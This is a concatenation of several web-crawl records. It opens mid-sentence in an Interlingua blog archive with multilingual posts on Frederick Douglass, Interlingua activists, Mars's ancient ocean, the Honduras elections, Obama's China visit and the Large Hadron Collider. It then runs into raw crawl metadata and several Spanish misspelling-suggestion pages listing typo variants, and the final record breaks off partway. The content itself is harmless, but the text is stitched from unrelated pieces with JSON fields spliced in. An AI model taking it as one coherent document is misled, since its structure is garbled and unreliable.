lived. She gave money to Frederick, which he used to buy a ticket on a train that took him to New York City.\nOn arriving in New York, Frederick Bailey changed his name to Frederick Douglass to hide his identity from people who earned money by capturing escaped slaves. Anna Murray followed him to New York, and soon they got married. They went to live in New Bedford, Massachusetts, and became the parents of five children.\nFrederick Douglass became one of the most important figures in the U.S. abolitionist movement. In 1841, he went to a meeting of the Massachusetts Anti-Slavery Society in Nantucket and was invited to give a speech on his life as a slave.\nThough he had not prepared a speech, he spoke in a very eloquent way and soon became an important leader in the abolitionist movement in Massachusetts. He was invited to give other speeches in cities in many American states where slavery was illegal, and he continued to speak about his personal experiences as a slave and described the typical lives of American slaves, who often were victims of malnutrition forced to work the entire day in fields under a dangerously hot sun and to sleep on a cold floor in the evenings.\nMany who heard his speeches believed that they were filled with lies. They refused to believe that he had been a slave because Douglass seemed to be too highly educated to have suffered from slavery.\nTo prove that he really had been a slave, in 1844 Douglass started to write his autobiography, the \"Narrative of the life of Frederick Douglass, an American Slave,\" which was published the following year. Later on he published expanded versions of this book. Douglass became very famous after the publication of his autobiography.\nIn 1852 he was invited to give a speech during the celebration of America's Independence Day on July 4th. In his speech, Douglass said that U.S. independence belonged only to white people, not to African American slaves, for whom this day strongly revealed the discrimination and suffering that they had to put up with.\nThe American Civil War broke out in 1861. Frederick Douglass and many others saw slavery as the cause of the war. Douglass wanted African Americans to be able to participate in the war, but many white men, including Abraham Lincoln, insisted that the presence of African Americans would destroy the fighting spirit of white soldiers in his army. These people also believed that that black soldiers were not intelligent enough to fight effectively against the military forces of the states of the American South.\nTwo years later, African American soldiers were allowed to join the U.S. army. Though they were as courageous as white soldiers, they were given work that reflected the slavery of many of them. In a meeting with Abraham Lincoln in Washington, Douglass insisted that African American soldiers should serve in the army on a basis of equality with white soldiers. Though Lincoln agreed, he said that an immediate change was not possible.\nIn 1865 Lincoln's army had won the American Civil War, and a few months later Lincoln was assassinated, and slavery ended by the time the year was over. After the war Douglass became an official in the American federal government. But he continued his fight for economic, social, and legal equality not only for African Americans but also for women. He died in his home of a heart attack in 1895 at age seventy-eight.\nPosted by hkyson at 1:48 PM\nThursday, November 26, 2009\n(Languages of this post: Interlingua, English)\nIl ha multe interlinguistas passive, includente romanophonos e altere personas qui cognosce plus que un de su linguas fonte. Ma qui es le interlinguistas qui activemente travalia pro promover le lingua?\nSecundo lo que io ha potite apprender, il non ha multes. Inter illes il ha\nHarleigh Kyson Jr. (io), qui ha publicate \"Interlingua in interlingua\" e qui nunc publica \"Interlingua multilngue\", que es immediatemente e gratuitemente disponibile a omnes qui volerea usar lo pro studiar interlingua e su linguas fonte.\nThomas Breinstrup, qui publica \"Panorama\". Il pare que ille es le sol persona qui contribute al sito official del Union Mundial pro Interlingua, un organisation que vermente es moribunde o possibilemente completemente morte.\nPiet Cleij e Josu Lavin, qui es active in le compilation de dictionarios e vocabularios.\nMartijn Dekker, qui ha facite multe travalio sur interlingua e su terminologia. Il esseva ille qui salvava \"Interlingua in interlingua\" post que Yahoo decideva disactivar le paginas web immagasinate in Geocities.\nLars Rosenmeier, qui ha establite \"Interforo\", un medio de discussion que non ha attrahite multe participation.\nDaniel Hollande, qui ha establite le sito \"Romania Continua\". Ben que Daniel prefere romanico como le lingua principal del sito, ille ha publicate un varietate de textos de \"Interlingua multilingue\"\nIl anque ha organisationes national pro promover interlingua e un varietate de blogs, ma le major parte de illos, il pare, ha essite inactive pro multe tempore.\nSi vos cognosce altere projectos per interlinguistas vermente active, scribe me a email@example.com.\n---\nThere are a lot of passive Interlinguists, including speakers of Romance languages and other people who know more than one of its source languages. But who are the Interlinguists who actively work to promote the language?\nFrom what I have been able to learn, there are not many. Among them there are\nHarleigh Kyson Jr. (me), who has published \"Interlingua in interlingua\" and who is now publishing \"Interlingua multilingue,\" which is immediately available at no cost to everyone who would like to use it to study Interlingua and its source languages.\nThomas Breinstrup, who publishes \"Panorama.\" It seems that he is the only person who contributes to the official site of the Union Mundial pro Interlingua, an organization that is dying or possibly completely dead.\nPiet Cleij and Josu Lavin, who are active in the compilation of dictionaries and vocabularies.\nMartijn Dekker, who has done a lot of work on Interlingua and its terminology. He was the one who saved \"Interlingua in interlingua\" after Yahoo decided to deactivate the web pages stored in Geocities.\nLars Rosenmeier, who has established \"Interforo,\" a discussion medium that hs not attracted a lot of participation.\nDaniel Hollande, who has established the site \"Romania Continua.\" Though Daniel prefers Romanico as the principal language of the site, he has published a variety of texts from \"Interlingua multilingue.\"\nThere are also national organizations to promote Interlingua and a variety of blogs, but most of them, it seems, have been inactive for a long time.\nIf you are aware of other projects by really active Interlinguists, write me at firstname.lastname@example.org\nPosted by hkyson at 12:10 AM\nWednesday, November 25, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio realisate in le Statos Unite ha revelate nove evidentia indicante que le planeta Marte habeva un oceano in su passato distante.\nUsante un nove programma de computator, scientistas del Universitate de Northern Illinois e del Instituto Lunar e Planetari de Houston ha producite un mappa plus detaliate del retes de valles de Marte e trovava que illos es 2,3 vices plus extensive que previemente imaginate.\nIn ultra, le studio monstrava que le regiones plus dense in le valles forma un cinctura circum le planeta inter su equator e un parte del planeta plus al sud, lo que es consistente con le theoria que il habeva un oceano que coperiva un grande parte del hemispherio norte de Marte.\n\"Omne le evidentia reunite durante que nos analysava ille rete de valles indica un clima plus calide al comenciamento del existentia de Marte\", dice Wei Luo, del Universitate de Northern Illinois. \"Ille clima includeva pluvias e un oceano que coperiva circa 30% del superficie del planeta.\"\nLe retes del valles de Marte es simile al systema de fluvios del Terra, suggerente que le planeta rubie esseva plus humide que hodie.\nMa, desde le tempore que ille retes esseva discoperite per un sonda spatial in 1971, scientistas ha debattitite si illos esseva create per erosion provocate per aqua in le superficie--lo que suggere un clima pluviose--o per erosion causate per aquas subterranee--lo que indicarea un clima plus frigide e sec.\nLe nove mappamento anque permitteva que le recercatores verificava que il ha similaritates inter le densitate del retes del valles del Terra con illo de alicun regiones de Marte--lo que esserea un indication de erosion provocate per pluvias.\nLe superficie de Marte es characterisate per planas localisate principalmente in le hemispherio nord e per montanias concentrate plus al sud.\nSecundo le scientistas, ille tipo de topographia monstra que le aqua se accumularea in le parte nord del planeta.\n\"Un planeta con solmente un grande oceano haberea un clima aride in le major parte de su areas terrestre\", diceva Luo.\n---\nUm novo mapa sugere que Marte teve um oceano que cobria 30% do planeta.\nUm estudo realizada por um grupo de pesquisadores nos Estados Unidos revelou novas evidências que indicam que o planeta Marte tinha um oceano no seu passado distante.\nUsando um novo programa de computador, cientistas da Universidade de Northern Illinois e do Instituto Lunar e Planetário de Houston conseguiram produzir um mapa mais detalhado das redes de vales de Marte e perceberam que elas são 2,3 vezes mais extensas do que se imaginava.\nAlém disso, o estudo mostrou que as regiões mais densas em vales formam um cinturão em torno do planeta entre seu equador e uma parte do planeta mais ao sul, o que é consistente com a teoria de que havia um oceano cobrindo uma grande parte do hemisfério norte de Marte.\n\"Todas as provas reunidas ao analisarmos essa rede de vales apontam para um clima mais quente no início da existência de Marte\", disse Wei Luo, da Universidade de Northern Illinois. \"Esse clima incluía chuvas e um oceano cobrindo cerca de 30% da superfície do planeta.\"\nAs redes de vales de Marte se assemelham aos sistemas de rios da Terra, sugerindo que o planeta vermelho já foi mais úmido do que é hoje.\nMas, desde que essas redes foram descobertas por uma sonda espacial em 1971, cientistas têm debatido se elas teriam sido criadas por erosão provocada por água na superfície--o que sugere um clima chuvoso--ou por erosão causada por águas subterrâneas--o que indicaria um clima mais frio e seco.\nO novo mapeamento permitiu também aos pesquisadores verificar que há semelhanças entre a densidade das redes de vales da Terra com a de algumas regiões de Marte--o que seria um indício de erosão provocada por chuvas.\nA superfície de Marte é caracterizada por planícies localizadas principalmente no hemisfério norte e por montanhas concentradas mais no sul.\nSegundo os cientistas, esse tipo de topografia mostra que a água se acumularia na parte norte do planeta.\n\"Um planeta com apenas um grande oceano teria um clima árido na maior parte de suas áreas terrestres\", disse Luo.\n---\nA new map suggests that Mars had an ocean that covered 30% of the planet.\nA study by a group of researchers in the United States has revealed new evidence indicating that the planet Mars had an ocean in its distant past.\nUsing a new computer program, scientists at the University of Northern Illinois and the Lunar and Planetary Institute in Houston have produced a more detailed map of valley networks on Mars and found that they are 2.3 times more extensive than previously thought.\nIn addition, the study showed that the most dense regions in the valleys form a belt around the planet between its equator and a part of the planet further to the south--which is consistent with the theory that there was an ocean covering a large part of the northern hemisphere of Mars.\n\"All the evidence gathered as we analyzed the valley network points to a warmer climate at the beginning of Mars' existence,\" said Luo Wei, of the University of Northern Illinois. \"This climate included rainfall and an ocean covering about 30% of the planet's surface.\"\nThe valley networks on Mars are similar to river systems on Earth, suggesting that the red planet was more humid than it is today.\nBut since the time these networks were discovered by a spacecraft in 1971, scientists have debated whether they were created by erosion caused by water on the surface--which suggests a rainy climate--or by erosion caused by groundwater--which would indicate a colder and drier climate.\nThe new mapping also allowed the researchers to verify that there are similarities between the density of valley networks on Earth and the density of some regions of Mars--which would be an indication of erosion by rain.\nThe surface of Mars is characterized by plains located mainly in the northern hemisphere mountains and by mountains that are more concentrated in the south.\nAccording to scientists, this kind of topography shows that water would accumulate in the northern part of the planet.\n\"A planet with only one big ocean would have an arid climate in most of its land areas,\" said Luo.\nPosted by hkyson at 6:37 AM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nLe Organisation del Statos American non ha potite arrivar a un accordo sur un position commun relative al electiones presidential in Honduras planificate pro le domenica, 29 de novembre.\nAl fin de un reunion private in le sede del agentia in Washington, al qual non habeva accesso le pressa, delegatos de 34 paises se retirava sin poter presentar un fronte commun al nove disveloppamentos politic in Honduras.\nLe Brasil, Nicaragua, Equador, Argentina, Bolivia, e Venezuela insiste que illes non va a recognoscer le resultato sin le previe restitution de Zelaya, durante que le Statos Unite e Panama annunciava que illes acceptarea le resultatos.\nFunctionarios del OEA dice que \"il es probabile que il non habera un decision sur Honduas in le proxime dies, in consideration del divisiones que persiste inter su statos membros\".\n---\nLa Organización de Estados Americanos, OEA, no han logrado ponerse de acuerdo sobre una posición común frente a las elecciones presidenciales en Honduras previstas para el domingo 29 de noviembre.\nAl final de una reunión privada en la sede del organismo en Washington, a la que no tuvo acceso la prensa, los delegados de los 34 países se retiraron sin poder presentar un frente común ante los nuevos desarrollos políticos en Honduras.\nBrasil, Nicaragua, Ecuador, Argentina, Bolivia y Venezuela insisten en que no reconocerán el resultado sin la restitución previa de Zelaya, mientras que los Estados Unidos y Panamá anunciaron que aceptarían los resultados.\nFuncionarios de la OEA dicen que \"probablemente no habrá un pronunciamiento en los próximos días sobre Honduras, dadas las divisiones que persisten entre sus estados miembros\".\n---\nA Organização dos Estados Americanos, não conseguiu chegar a um acordo sobre uma posição comum relativa às eleições presidenciais em Honduras, agendadas para domingo 29 de novembro.\nNo final de um encontro privado na sede da agência em Washington, à qual a imprensa não teve acesso, delegados de 34 países se retiraram sem serem capazes de apresentar uma frente unida aos novos desenvolvimentos políticos em Honduras.\nO Brasil, Nicarágua, Equador, Argentina, Bolívia e Venezuela insistem que não vão reconhecer o resultado sem a prévia restituição de Zelaya, enquanto os Estados Unidos e Panamá, anunciaram que aceitariam os resultados.\nFuncionários da OEA dizem que \"é provável que não haverá uma decisão sobre Honduras nos próximos dias, tendo em conta as divisões que persistem entre seus Estados membros\".\n---\nThe Organization of American States, has failed to agree on a common position relating to the presidential elections in Honduras scheduled for Sunday November 29.\nAt the end of a private meeting at agency headquarters in Washington, which the press had no access to, delegates from thirty-four countries withdrew without being able to present a united front in relation to the new political developments in Honduras.\nBrazil, Nicaragua, Ecuador, Argentina, Bolivia, and Venezuela insist they will not recognize the result unless Zelaya is restored to power, while the United States and Panama announced that they would accept the results.\nOAS officials say \"it is unlikely that there will be decision about Honduras in the coming days, given the divisions that persist among its member states.\"\nPosted by hkyson at 6:06 AM\nTuesday, November 24, 2009\n(Languages of this post: Interlingua, French, English)\nLe visita del presidente Barack Obama a China e su conversationes con su hospite chinese, Hu Jintao, non ha producite ulle accordos spectacular. Le duo homines tamen consentiva a continuar a cooperar. Le duo homines de stato habeva un reunion private pro un periodo de horas. Nulle communicato final veniva de iste conferentia, que esseva dedicate solmente al continuation de dialogo inter China e le Statos Unite.\nTotevia, le presidente Hu Jintao declarava al prensa que le duo homines parlava sur un serie de themas, desde le macroeconomia al non-proliferation, e anque sur le cambios climatic. \"Nos ha facite progresso e accentuate le necessitate de complir actos concrete que producera progresso in lo que le presidente Obama appella 'nostre defias commun'\", diceva Hu Jintao.\nPro Obama, le cooperation sinoamerican nunquam ha essite melior. \"Illo es le ration que le Statos Unite contempla favorabilemente le rolo crescente de China in le scena international, in un contexto ubi le progresso economic es synonyme con responsibilitates plus grande\", diceva ille.\nLe presidente american ha accentuate le importantia del cooperation intime con China in le lucta contra le recession economic global e le calefaction del planeta.\nIlle anque mentionava le necessitate de effortios concertate in le tractamento de problemas iranian e nord Korean. Le presidente Obama spera que China cooperara con le Statos Unite in su effortios pro augmentar le pression sur Iran. \"Iran ha le opportunitate de demonstrar su intentiones pacific, ma si su governmento non lo sasi, il habera consequentias\", accentuava le presidente american.\nDurante que ille recipeva enthusiasticamente le cooperation inter le duo paises, Obama ha debite dicer que ille non hesitara a dicer lo que ille pensa quando apparera divergentias de opinion inter China e le Statos Unite, evocante notabilemente le question de derectos human e le problema de Tibet. Le duo presidentes non invitava questiones de jornalistas.\n---\nLa visite du président Barack Obama en Chine et ses entretiens avec son hôte chinois, Hu Jintao, n'ont donné lieu à aucune percée spectaculaire. Les deux parties ont cependant convenus de continuer à coopérer. Les deux hommes d'Etat se sont entretenus à huis-clos pendant des heures. Aucun communiqué final a été rendu de ce sommet, qui a été consacrée uniquement à la poursuite du dialogue entre la Chine et les États-Unis.\nToutefois, le président Hu Jintao a déclaré à la presse que les deux parties ont abordé une série de sujets, allant de la macro-économie à la non-prolifération en passant par les changements climatiques. « Nous avons fait des progrès et mis l'accent sur la nécessité de poser des actes concrets permettant de relever ce que le président Obama appelle « nos défis communs », a dit Hu Jintao.\nPour Obama, la coopération sino-américaine ne s'est jamais mieux portée. « C'est pourquoi, dit-il, les Etats-Unis voient d'un bon œil, le rôle croissant joué par la Chine sur la scène internationale, dans un contexte où le progrès économique rime avec des responsabilités plus importantes. »\nLe chef de l'exécutif américain a souligné l'importance du partenariat chinois en matière de lutte contre la récession économique globale et le réchauffement de la planète.\nIl a également évoqué la nécessité d'efforts concertés dans le traitement des dossiers iraniens et nord-coréens. Le Président Obama espère que la Chine coopérera avec les États-Unis dans ses efforts pour augmenter la pression sur l'Iran. « L'Iran a l'occasion de démontrer le caractère pacifique de ses intentions mais si son gouvernement ne la saisit pas, il y aura des conséquences », a notamment indiqué le président américain.\nTout en se félicitant de la coopération entre les deux pays, Obama a tenu à préciser qu'il n'hésitera pas à dire ce qu'il pense quand apparaîtront des divergences d'opinion entre la Chine et les Etats-Unis. C'est ainsi qu'il a notamment évoqué la question des droits de l'Homme et le problème du Tibet. Les deux dirigeants n'ont pas invité les journalistes à poser des questions.\n---\nPresident Barack Obama's trip to China and his talks with his Chinese host, Hu Jintao, have not led to any breakthroughs. Both sides, however, agreed to continue to cooperate. The two statesmen met behind closed doors for hours. No final communiqué came out of this summit, which was dedicated only to continued dialogue between China and the United States.\nHowever, President Hu Jintao told the press that the two sides discussed a range of issues, from macroeconomics to non-proliferation, along with climate change. \"We have made progress and emphasized the need to take concrete action to address what President Obama called 'our common challenges',\" said Hu Jintao.\nFor Obama, Sino-American cooperation has never been better. \"That's why, the United States looks favorably upon China's expanding role in the international scene, in a context where economic progress is synonymous with greater responsibilities,\" he said.\nThe American chief executive stressed the importance of the Chinese partnership in the fight against the world-wide economic recession and global warming.\nHe also mentioned the need for concerted efforts in dealing with Iran and North Korea. President Obama hopes that China will cooperate with the United States in increasing pressure on Iran. \"Iran has an opportunity to demonstrate its peaceful intentions, but if its government does not act, there will be consequences,\" Obama emphasized.\nWhile welcoming the cooperation between both countries, Obama made it clear that he will not hesitate to say what he thinks when there are differences of opinion between China and the United States, making particular reference to the issue of human rights and the problem of Tibet. The two leaders did not invite journalists to ask questions.\nPosted by hkyson at 10:33 AM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nLe investigatores qui travalia sur le Grande Collidator de Hadrones (LHC in su acronymo anglese) dice que illes es satisfacite con le progresso que se ha facite quando le machina comenciava a travaliar novemente le venerdi passate.\nUn functionario diceva que desde venerdi le collidator habeva facite plus in unes pauc horas que durante le nove dies de operationes in le passato.\nLe LHC, le machina le plus grande del mundo, sta a esser utilisate pro facer collider fasces de protons in un tentativa de jectar luce sur le origine del universo.\nLe machina se trova in un tunnel circular de 27 kilometros de extension sub le frontiera franco-swisse.\nDurante le experimento, le scientistas cercara signales del boson de Higgs, un particula subatomic que es crucial pro le comprension actual del physica. Ben que on ha predicite su existentia, le scientistas nunquam lo ha trovate.\nLe machina esseva severemente damnificate quando un fallimento electric provocava le fuga de un tonna de helio liquide in le tunnel post solmente nove dies post su lancha in septembre del anno passate.\nDurante 14 menses de reparationes, decenas de magnetos gigantesc superconductor que accelera particulas al velocitate del luce debeva esser reimplaciate.\nOperate per le Organisation Europee pro Investigation Nuclear (CERN in su acronymo in anglese) le LHC creara conditiones simile al momentos posterior al Big Bang.\n---\nLos investigadores que trabajan en el Gran Colisionador de Hadrones (LHC, por sus siglas en inglés) dicen estar encantados con el progreso que se ha hecho cuando la máquina comenzó a trabajar de nuevo el viernes.\nUn funcionario dijo que desde el viernes el colisionador había hecho más en unas pocas horas que durante los nueve días de operaciones el año pasado.\nEl LHC, la máquina más grande del mundo, está siendo utilizado para colisionar haces de protones en un intento de arrojar luz sobre el origen del Universo.\nEstá ubicada en un túnel circular de 27 kilómetros de largo bajo la frontera franco-suiza.\nDurante el experimento, los científicos buscarán señales del bosón de Higgs, una partícula subatómica que es crucial para la comprensión actual de la física. Aunque se prevé su existencia, los científicos nunca la han encontrado.\nLa máquina resultó severamente dañada cuando una falla eléctrica provocó que una tonelada de helio líquido se filtrara en el túnel apenas nueve días después de su lanzamiento en septiembre del año pasado.\nDurante 14 meses de reparaciones, docenas de imanes gigantes superconductores que aceleran las partículas a la velocidad de la luz tuvieron que ser sustituidos.\nOperado por la Organización Europea de Investigación Nuclear (CERN, por sus siglas en inglés), el LHC creará condiciones similares a los momentos posteriores al Big Bang.\n---\nOs investigadores que trabalham sobre o Grande colisor de Hadrões (LHC, por suas siglas em Inglês) dizem que estão satisfeitos com o progresso que foi feito quando a máquina começou a trabalhar novamente na sexta-feira.\nUm funcionário disse que desde a sexta-feira o colisor tinha feito mais em poucas horas que durante os nove dias de operações no ano passado.\nO LHC, a máquina mais grande do mundo, está sendo utilizada para colidir feixes de prótons em uma tentativa de lançar luz sobre a origem do universo.\nEstá localizada em um túnel circular de 27 quilômetros de extensão sob a fronteira franco-suíça.\nDurante o experimento, os cientistas vão procurar sinais do bóson de Higgs, uma partícula subatômica que é crucial para a compreensão atual da física. Apesar de se prever a sua existência, os cientistas nunca encontraram.\nA máquina foi severamente danificada quando uma falha elétrica provocou o vazamento de uma tonelada de hélio líquido no túnel de apenas nove dias após o seu lançamento, em setembro do ano passado.\nDurante 14 meses de reparos, dezenas de gigantescos magnetos supercondutores que aceleram partículas à velocidade da luz tiveram que ser substituídos.\nOperado pela Organização Européia para Pesquisa Nuclear (CERN, por sua sigla em Inglês), o LHC irá criar condições semelhantes durante os momentos após o Big Bang.\n---\nResearchers working on the Large Hadron Collider (LHC) say they are delighted with the progress that has been made since the machine started working again on Friday.\nOne official said that since Friday the collider has done more in a few hours than during the nine days of operations last year.\nThe LHC, the world's largest machine, is being used to force beams of protons to collide in an attempt to throw light on the origin of the universe.\nIt is located in a circular tunnel 27 kilometers long (16.8 miles long) under the French-Swiss border.\nDuring the experiment, scientists will look for signs of the Higgs boson, a subatomic particle that is crucial to the current understanding of physics. Although its existence has been predicted, scientists have never found it.\nThe machine was badly damaged when an electrical fault caused a ton of liquid helium to leak into the tunnel just nine days after its launch in September of last year.\nDuring fourteen months of repairs, dozens of giant superconducting magnets that accelerate particles to the speed of light had to be replaced.\nOperated by the European Organization for Nuclear Research (CERN), the LHC will create conditions similar to what occurred moments after the Big Bang.\nPosted by hkyson at 9:56 AM","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2009_11_01_archive.html","date":"2014-10-22T15:20:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1413507447421.45\/warc\/CC-MAIN-20141017005727-00019-ip-10-16-133-185.ec2.internal.warc.gz","language":"ina","language_score":0.8017337918,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"ina_Latn_score\": 0.8017337918281555, \"ita_Latn_score\": 0.04449059069156647, \"eng_Latn_score\": 0.01763100177049637, \"por_Latn_score\": 0.013783426024019718, \"srd_Latn_score\": 0.0136791430413723, \"lmo_Latn_score\": 0.011024043895304203}","num_words":21305,"character_repetition_ratio":0.035,"word_repetition_ratio":0.144,"special_characters_ratio":0.191,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.818,"perplexity_score":2185.6,"cluster_detection":-1} +{"text":"Albuminokde\n'Albuminokde' se parece a 'albuminoide', ¿Con albuminokde querías decir albuminoide?\nAlbuminokde tiene 11 letras\nDefinición de albuminoide aquí\nResultados de búsqueda:\n|Google:||albuminokde|\n|Yahoo:||albuminokde|\n|MSN:||albuminokde|\n|Wikipedia:||albuminokde|\nResultados de imágenes:\n|Google:||albuminokde|\n|Yahoo:||albuminokde|\n|MSN:||albuminokde|\nYoutube: albuminokde\nNube de palabras :\n- albuminoide zlbuminoide slbuminoide wlbuminoide qlbuminoide akbuminoide apbuminoide aobuminoide alvuminoide alnuminoide alhuminoide alguminoide albyminoide albhminoide albjminoide albiminoide alb8minoide alb7minoide albuninoide albukinoide albujinoide albumunoide albumjnoide albumknoide albumonoide album9noide album8noide albumiboide albumimoide albumijoide albumihoide albuminiide albuminkide albuminlide albuminpide albumin0ide albumin9ide albuminoude albuminojde albuminokde albuminoode albumino9de albumino8de albuminoise albuminoixe albuminoice albuminoife albuminoire albuminoiee albuminoidw albuminoids albuminoidd albuminoidr albuminoid4 albuminoid3","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.tuspalabras.com\/albuminokde","date":"2016-12-08T00:51:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542288.7\/warc\/CC-MAIN-20161202170902-00391-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.3862181008,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.3862181007862091, \"fin_Latn_score\": 0.10552185028791428, \"nld_Latn_score\": 0.09567854553461075, \"ekk_Latn_score\": 0.04030253365635872, \"ast_Latn_score\": 0.03937956318259239, \"vep_Latn_score\": 0.03382101282477379, \"ron_Latn_score\": 0.032205965369939804, \"som_Latn_score\": 0.02200251631438732, \"glg_Latn_score\": 0.02182510867714882, \"nno_Latn_score\": 0.019769461825489998, \"hun_Latn_score\": 0.01717759482562542, \"hrv_Latn_score\": 0.0169228482991457, \"slv_Latn_score\": 0.015917912125587463, \"slk_Latn_score\": 0.014614488929510117, \"lvs_Latn_score\": 0.014044956304132938, \"mlt_Latn_score\": 0.013412307016551495, \"dan_Latn_score\": 0.012759029865264893, \"bos_Latn_score\": 0.010836082510650158}","num_words":338,"character_repetition_ratio":0.203,"word_repetition_ratio":0.091,"special_characters_ratio":0.143,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":12661.4,"cluster_detection":-1} +{"text":"Alcornoqu4\n'Alcornoqu4' se parece a 'alcornoque', ¿Con alcornoqu4 querías decir alcornoque?\nAlcornoqu4 tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcornoqu4|\n|Yahoo:||alcornoqu4|\n|MSN:||alcornoqu4|\n|Wikipedia:||alcornoqu4|\nResultados de imágenes:\n|Google:||alcornoqu4|\n|Yahoo:||alcornoqu4|\n|MSN:||alcornoqu4|\nYoutube: alcornoqu4\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.tuspalabras.com\/alcornoqu4","date":"2017-01-19T00:53:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280410.21\/warc\/CC-MAIN-20170116095120-00442-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3134197891,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.31341978907585144, \"nah_Latn_score\": 0.1787729412317276, \"ast_Latn_score\": 0.09008464217185974, \"spa_Latn_score\": 0.06222670152783394, \"sco_Latn_score\": 0.05986301228404045, \"por_Latn_score\": 0.044495441019535065, \"glg_Latn_score\": 0.02972184494137764, \"cot_Latn_score\": 0.024247201159596443, \"kal_Latn_score\": 0.023604286834597588, \"zul_Latn_score\": 0.014580548740923405, \"szl_Latn_score\": 0.010456164367496967}","num_words":301,"character_repetition_ratio":0.151,"word_repetition_ratio":0.062,"special_characters_ratio":0.172,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":0.307,"perplexity_score":11439.1,"cluster_detection":-1} +{"text":"Alcoenoque\n'Alcoenoque' se parece a 'alcornoque', ¿Con alcoenoque querías decir alcornoque?\nAlcoenoque tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcoenoque|\n|Yahoo:||alcoenoque|\n|MSN:||alcoenoque|\n|Wikipedia:||alcoenoque|\nResultados de imágenes:\n|Google:||alcoenoque|\n|Yahoo:||alcoenoque|\n|MSN:||alcoenoque|\nYoutube: alcoenoque\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.tuspalabras.com\/alcoenoque","date":"2017-03-25T08:20:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188891.62\/warc\/CC-MAIN-20170322212948-00610-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.3024205863,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.30242058634757996, \"nah_Latn_score\": 0.16075237095355988, \"cot_Latn_score\": 0.13214409351348877, \"ast_Latn_score\": 0.083579421043396, \"spa_Latn_score\": 0.06050210818648338, \"sco_Latn_score\": 0.04285205155611038, \"por_Latn_score\": 0.0337875671684742, \"glg_Latn_score\": 0.020474709570407867, \"chd_Latn_score\": 0.017533373087644577, \"eus_Latn_score\": 0.010342559777200222}","num_words":301,"character_repetition_ratio":0.15,"word_repetition_ratio":0.062,"special_characters_ratio":0.159,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":0.29,"perplexity_score":11324.1,"cluster_detection":-1} +{"text":"Almstroque\n'Almstroque' se parece a 'almatroque', ¿Con almstroque querías decir almatroque?\nAlmstroque tiene 10 letras\nDefinición de almatroque aquí\nResultados de búsqueda:\n|Google:||almstroque|\n|Yahoo:||almstroque|\n|MSN:||almstroque|\n|Wikipedia:||almstroque|\nResultados de imágenes:\n|Google:||almstroque|\n|Yahoo:||almstroque|\n|MSN:||almstroque|\nYoutube: almstroque\nNube de palabras :\n- almatroque zlmatroque slmatroque wlmatroque qlmatroque akmatroque apmatroque aomatroque alnatroque alkatroque aljatroque almztroque almstroque almwtroque almqtroque almarroque almafroque almagroque almayroque alma6roque alma5roque almateoque almatdoque almatfoque almattoque almat5oque almat4oque almatrique almatrkque almatrlque almatrpque almatr0que almatr9que almatro1ue almatro2ue almatrowue almatroaue almatroqye almatroqhe almatroqje almatroqie almatroq8e almatroq7e almatroquw almatroqus almatroqud almatroqur almatroqu4 almatroqu3","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.tuspalabras.com\/almstroque","date":"2017-04-30T21:06:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917125849.25\/warc\/CC-MAIN-20170423031205-00554-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.3474113643,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.3474113643169403, \"kal_Latn_score\": 0.1892600804567337, \"spa_Latn_score\": 0.1226360946893692, \"ast_Latn_score\": 0.046655818819999695, \"frp_Latn_score\": 0.03565249219536781, \"glg_Latn_score\": 0.02701227180659771, \"chd_Latn_score\": 0.018755659461021423, \"cot_Latn_score\": 